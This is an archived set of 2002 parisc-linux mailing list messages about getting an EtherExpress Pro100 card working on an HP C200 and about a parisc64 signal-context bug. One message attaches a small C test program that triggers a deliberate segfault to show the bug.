X-Trace: ger.gmane.org 1416621632 12743 80.91.229.3 (22 Nov 2014 02:00:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:32 +0000 (UTC)
Cc: "B. Douglas Hilton" <bdhilton@charter.net>,
	parisc-linux@lists.parisc-linux.org
To: "Michael S. Zick" <mszick@goquest.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 19 18:18:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id C08504829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Aug 2002 18:18:29 -0600 (MDT)
Original-Received: from smtp1.fc.hp.com (smtp1b.fc.hp.com [15.15.136.127])
	by atlrel9.hp.com (Postfix) with ESMTP
	id 59B7CE00A28; Mon, 19 Aug 2002 20:18:27 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp1.fc.hp.com (Postfix) with ESMTP
	id CFCA737E47; Mon, 19 Aug 2002 18:18:26 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id C111F40A3; Mon, 19 Aug 2002 18:18:26 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 5672E37D68; Mon, 19 Aug 2002 18:18:26 -0600 (MDT)
X-Mailer: exmh version 2.5 07/13/2001 (debian 2.5-1) with nmh-1.0.4+dev
In-Reply-To: Message from Michael S.Zick <mszick@goquest.com> 
   of "Mon, 19 Aug 2002 19:04:04 CDT." <02081919040400.26310@localhost.localdomain> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15855

Michael S. Zick writes...

> On Monday 19 August 2002 06:58 pm, Grant Grundler wrote:
> > "B. Douglas Hilton" wrote:
> > ...
> >
> > > About the last thing in the world I want to do is buy a
> > > tape drive just to reload my firmware. Maybe one of you wizards
> > > could cook up a way to flash it from linux like is done on
> > > a Netwinder?
> >
> > If you can ressurrect built-in LAN or find an add-on Tulip card,
> > you could netboot the firmware update (it's a LIF image).
> >
> > grant
> Perhaps that old type of install, build SCSI disk on different machine, 
> physically move disk ot C200.

Yeah or a scsi cdrom. Just use cdrecord to burn the firmware update 
lifimage straight to the disk.

-- 
Matt Taggart
taggart@fc.hp.com




From - Thu Nov 08 21:24:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCI Intel EtherExpressPro100 strangeness on  C200
 machine.
Date: Mon, 19 Aug 2002 21:51:57 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <3D61A0BD.5070102@charter.net>
References: <3D5EB2D6.9090403@charter.net> <3D61787C.7060502@charter.net>  <20020819235858.475274829@dsl2.external.hp.com>  <02081919040400.26310@localhost.localdomain> <20020820001826.5672E37D68@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621633 12753 80.91.229.3 (22 Nov 2014 02:00:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 19 19:51:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx05.cluster1.charter.net (dc-mx05.cluster1.charter.net [209.225.8.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A4DC4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Aug 2002 19:51:09 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by mx05.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 46977103 for parisc-linux@lists.parisc-linux.org; Mon, 19 Aug 2002 21:51:12 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020529
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15856

Just an update, I managed to burn the firmware update
to cdrom, boot it, and have updated my firmware to
the latest (6.3) for this machine. It did not fix
the onboard ethernet devices, however :-(


Now I have managed to get the source for
linux-2.4.19-pa3 onto the machine, made the
small patch on line 47 of eepro100.c, and
it is busily compiling away. Will post results
later.

- Doug



From - Thu Nov 08 21:24:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCI Intel EtherExpressPro100 strangeness on  C200
 machine.
Date: Mon, 19 Aug 2002 22:28:18 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <3D61A942.2090206@charter.net>
References: <3D5EB2D6.9090403@charter.net> <3D61787C.7060502@charter.net>  <20020819235858.475274829@dsl2.external.hp.com>  <02081919040400.26310@localhost.localdomain> <20020820001826.5672E37D68@carmen.fc.hp.com> <3D61A0BD.5070102@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621633 12759 80.91.229.3 (22 Nov 2014 02:00:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 19 20:27:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dc-mx09.cluster1.charter.net (dc-mx09.cluster1.charter.net [209.225.8.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id BEC1A4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Aug 2002 20:27:27 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by dc-mx09.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 60238676 for parisc-linux@lists.parisc-linux.org; Mon, 19 Aug 2002 22:27:21 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020529
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15857

Victory! The 2.4.19-pa3 kernel was the charm!

PCI IntelEtherExpressPro100 now working on C200!

I did add the " || defined(__hppa__)"
on line 47 of eepro100.c

Thanks very much to everybody for all the help,
this box has a new lease on life now!

Yaay!



B. Douglas Hilton wrote:
> Just an update, I managed to burn the firmware update
> to cdrom, boot it, and have updated my firmware to
> the latest (6.3) for this machine. It did not fix
> the onboard ethernet devices, however :-(
> 
> 
> Now I have managed to get the source for
> linux-2.4.19-pa3 onto the machine, made the
> small patch on line 47 of eepro100.c, and
> it is busily compiling away. Will post results
> later.
> 
> - Doug



From - Thu Nov 08 21:24:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Harri Haataja <harri.haataja@cs.helsinki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCI Intel EtherExpressPro100 strangeness on C200 machine.
Date: Tue, 20 Aug 2002 11:23:06 +0300
Lines: 14
Approved: news@gmane.org
Message-ID: <20020820112305.A1245@azrael.smilehouse.com>
References: <3D5EB2D6.9090403@charter.net> <20020817223713.GA25852@gate450.dyndns.org> <s_selten@informatik.uni-karlsruhe.de> <20020820001806.364034829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621633 12762 80.91.229.3 (22 Nov 2014 02:00:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 20 02:23:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep02-app.kolumbus.fi (fep02-0.kolumbus.fi [193.229.0.44])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C3904829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Aug 2002 02:23:20 -0600 (MDT)
Original-Received: from azrael.blades.cxm ([62.248.234.162])
          by fep02-app.kolumbus.fi with ESMTP
          id <20020820082315.KVMT4192.fep02-app.kolumbus.fi@azrael.blades.cxm>
          for <parisc-linux@lists.parisc-linux.org>;
          Tue, 20 Aug 2002 11:23:15 +0300
Original-Received: (from blades@localhost)
	by azrael.blades.cxm (SGI-8.9.3/8.9.3) id LAA01252
	for parisc-linux@lists.parisc-linux.org; Tue, 20 Aug 2002 11:23:06 +0300 (EEST)
X-Authentication-Warning: azrael.blades.cxm: blades set sender to harri.haataja@cs.helsinki.fi using -f
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020820001806.364034829@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Mon, Aug 19, 2002 at 06:18:06PM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15858

On Mon, Aug 19, 2002 at 06:18:06PM -0600, Grant Grundler wrote:
> Andreas Seltenreich wrote:
> > just append " || defined(__hppa__)" to line 47 of
> > drivers/net/eepro100.c I got mine working that way.
> Sorry - I just noticed that eepro100 for 2.4.19 is substantially
> different from 2.4.18. My previous repl was WRT 2.4.18 (RX_ALIGN).
> BTW, rx_copybreak is a module param and there must be some way of
> passing that in as a boot param too.

All along I wondered why people would quote line numbers instead of code
bits (and linenumbers).




From - Thu Nov 08 21:24:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Harri Haataja <harri.haataja@cs.helsinki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CD-ROM audio output
Date: Tue, 20 Aug 2002 11:42:03 +0300
Lines: 22
Approved: news@gmane.org
Message-ID: <20020820114202.B1245@azrael.smilehouse.com>
References: <200208191009.EAA02771@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621634 12765 80.91.229.3 (22 Nov 2014 02:00:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 20 02:42:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep02-app.kolumbus.fi (fep02-0.kolumbus.fi [193.229.0.44])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6EC674829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Aug 2002 02:42:13 -0600 (MDT)
Original-Received: from azrael.blades.cxm ([62.248.234.162])
          by fep02-app.kolumbus.fi with ESMTP
          id <20020820084212.LCLO4192.fep02-app.kolumbus.fi@azrael.blades.cxm>
          for <parisc-linux@lists.parisc-linux.org>;
          Tue, 20 Aug 2002 11:42:12 +0300
Original-Received: (from blades@localhost)
	by azrael.blades.cxm (SGI-8.9.3/8.9.3) id LAA01284
	for parisc-linux@lists.parisc-linux.org; Tue, 20 Aug 2002 11:42:03 +0300 (EEST)
X-Authentication-Warning: azrael.blades.cxm: blades set sender to harri.haataja@cs.helsinki.fi using -f
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200208191009.EAA02771@udlkern.fc.hp.com>; from jsm@udlkern.fc.hp.com on Mon, Aug 19, 2002 at 04:09:48AM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15859

On Mon, Aug 19, 2002 at 04:09:48AM -0600, John Marvin wrote:
> > > I want to install a CD-Drive in my 715/100. Is it possible to use
> > > the internal audio output of the CD-ROM in the same way it used in
> > > a PC?  Which type of cable do I have to use?

> The connector that was described in this discussion with regard to the 715
> is indeed the CD audio input.

Really? And the pinout is? rggl?

I'd still like to know if there's a manual (the more complete the better
;) for the 715. It seems to be very hard to find even uch information on
these but any manuals or such material seem to have gone in the same
direction as old Alpha manuals.

-- 
                   .
                  ...
                 .....     <-- Grains of mysterious beige powder
                .......       (Taken from Patrick R. Wade's .sig)



From - Thu Nov 08 21:24:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christophe Rhodes <csr21@cam.ac.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] mcontext registers on parisc64 (was Re: subo -> overflow_trap (12) -> What to do?)
Date: Tue, 20 Aug 2002 12:49:35 +0100
Lines: 80
Approved: news@gmane.org
Message-ID: <20020820114935.GA27316@cam.ac.uk>
References: <20020817220545.GF16532@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="EeQfGwPcQSOJBaQU"
X-Trace: ger.gmane.org 1416621634 12778 80.91.229.3 (22 Nov 2014 02:00:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:34 +0000 (UTC)
To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 20 05:49:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from plum.csi.cam.ac.uk (plum.csi.cam.ac.uk [131.111.8.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 470F04829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Aug 2002 05:49:43 -0600 (MDT)
Original-Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net)
	by plum.csi.cam.ac.uk with esmtp (Exim 4.10)
	id 17h7W2-0008K6-00; Tue, 20 Aug 2002 12:49:42 +0100
Original-Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.35 #1 (Debian))
	id 17h7Vv-00078j-00; Tue, 20 Aug 2002 12:49:35 +0100
Content-Disposition: inline
In-Reply-To: <20020817220545.GF16532@systemhalted>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15860

--EeQfGwPcQSOJBaQU
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Sat, Aug 17, 2002 at 06:05:45PM -0400, Carlos O'Donell wrote:
> Talking with Christophe Rhodes who is porting some Common Lisp code[1]
> to parisc-linux and he has some old-ish code from HPUX (circa 1994)
> that does some interesting things :)

Firstly, thanks to this, my code seems to work on a parisc-1.1 machine
that I have available.  However, I'm having trouble getting it to run on
a parisc64 kernel...

As you may have gathered, the Common Lisp compiler in question depends
quite heavily on signal handling, and in particular SA_SIGINFO
sigaction-style handling. This seems to work fine in 32-bit mode, but
not in 64-bits; in particular, there seem to be some 32/64-bit
confusions going on...

I've attached a test program to (try to) demonstrate the problem; it's
complicated a bit by Debian bug #157374 (basically, incompatibility
between <sys/ucontext.h> and what the kernel actually delivers) but I
hope that what it's doing is clear enough... if I'm doing something
wrong, please let me know.

Inspecting the sigcontext that I get on a parisc64 machine gives
register contents looking a bit like
    [...]
    0xffffffff, 0xdeadbeef, 0x0, 0xf00d, 0x0, 0xfaf00380, 0x0, 0x2097a, 0x0, 
    0xfaf001a4, 0x0, 0x2096a, 0x0, 0x1, 0x0, 0x20972, 0x0, 0x1, 0x0, 0x0, 0x0, 
    [...]

and the alternation of data, 0/-1 is what leads me to believe that
64-bit quantities are being delivered; userland only seems to know about
32-bits, though.

Please don't hesitate to get back to me with comments and/or criticisms,

Cheers,

Christophe
-- 
Jesus College, Cambridge, CB5 8BL                           +44 1223 510 299
http://www-jcsu.jesus.cam.ac.uk/~csr21/                  (defun pling-dollar 
(str schar arg) (first (last +))) (make-dispatch-macro-character #\! t)
(set-dispatch-macro-character #\! #\$ #'pling-dollar)

--EeQfGwPcQSOJBaQU
Content-Type: text/x-csrc; charset=us-ascii
Content-Disposition: attachment; filename="test.c"

#include <stdio.h>
#include <sys/ucontext.h>
#include <signal.h>
/* c.f. Debian Bug#157374 */
#include <asm/sigcontext.h>

void sigsegv_handler(int signal, siginfo_t *info, void *context) {
  fprintf(stderr, "si_addr: %p (should probably be 0x0 [aka \"(nil)\"]\n",info->si_addr);
  fprintf(stderr, "%r1    : 0x%08x (should probably be 0xdeadbeef)\n",
	  ((struct sigcontext *) &(((ucontext_t *) context)->uc_mcontext))->sc_gr[1]);
  exit(0);
}

int main () {
  int *foo;
  struct sigaction sa;
  
  sa.sa_sigaction = sigsegv_handler;
  sa.sa_flags = SA_SIGINFO | SA_RESTART;
  sigaction(SIGSEGV, &sa, NULL);
  
  asm("ldil L%0xdeadbeef,%r1");
  asm("ldo R%0xdeadbeef(%r1),%r1");
  foo = NULL;
  *foo = 3;
}

--EeQfGwPcQSOJBaQU--


From - Thu Nov 08 21:24:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Seltenreich <s_selten@informatik.uni-karlsruhe.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCI Intel EtherExpressPro100 strangeness on C200 machine.
Date: Tue, 20 Aug 2002 14:58:46 +0200
Lines: 8
Approved: news@gmane.org
Message-ID: <20020820125845.GA15344@gate450.dyndns.org>
References: <3D5EB2D6.9090403@charter.net> <20020817223713.GA25852@gate450.dyndns.org> <s_selten@informatik.uni-karlsruhe.de> <20020820001806.364034829@dsl2.external.hp.com> <20020820112305.A1245@azrael.smilehouse.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621634 12783 80.91.229.3 (22 Nov 2014 02:00:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 20 06:58:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hptux.heylan (p50841133.dip.t-dialin.net [80.132.17.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E20D4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Aug 2002 06:58:50 -0600 (MDT)
Original-Received: from andreas by hptux.heylan with local (Exim 3.35 #1 (Debian))
	id 17h8at-00042w-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Aug 2002 14:58:47 +0200
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20020820112305.A1245@azrael.smilehouse.com>
User-Agent: Mutt/1.4i
X-PGP-Key: http://gate450.dyndns.org/~andreas/gpg_public_key.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15861

* Harri Haataja <harri.haataja@cs.helsinki.fi> [2002-08-20 10:24]:
> All along I wondered why people would quote line numbers instead of code
> bits (and linenumbers).

Didn't you notice the attachment?

I guess I should put patches inline next time...


From - Thu Nov 08 21:24:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] mcontext registers on parisc64
Date: Tue, 20 Aug 2002 09:22:13 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <20020820132213.GA4865@systemhalted>
References: <20020817220545.GF16532@systemhalted> <20020820114935.GA27316@cam.ac.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621635 12785 80.91.229.3 (22 Nov 2014 02:00:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christophe Rhodes <csr21@cam.ac.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 20 07:24:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1E85A4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Aug 2002 07:24:33 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17h8xZ-0001Hm-00; Tue, 20 Aug 2002 09:22:13 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Christophe Rhodes <csr21@cam.ac.uk>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20020820114935.GA27316@cam.ac.uk>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (70% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15862

> 
> Inspecting the sigcontext that I get on a parisc64 machine gives
> register contents looking a bit like
>     [...]
>     0xffffffff, 0xdeadbeef, 0x0, 0xf00d, 0x0, 0xfaf00380, 0x0, 0x2097a, 0x0, 
>     0xfaf001a4, 0x0, 0x2096a, 0x0, 0x1, 0x0, 0x20972, 0x0, 0x1, 0x0, 0x0, 0x0, 
>     [...]
> 
> and the alternation of data, 0/-1 is what leads me to believe that
> 64-bit quantities are being delivered; userland only seems to know about
> 32-bits, though.
> 
> Please don't hesitate to get back to me with comments and/or criticisms,
> 
> Cheers,
> Christophe

This might be a kernel bug. We should always return 32-bit quantities to 
userspace (until we get a 64-bit userspace :).

Once we straighten out the sigcontext->mcontext_t issue in glibc, we can
take a look at this. I might just patch glibc on my box tonight... and go
forward with hacking on the kernel bits.

c.



From - Thu Nov 08 21:24:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
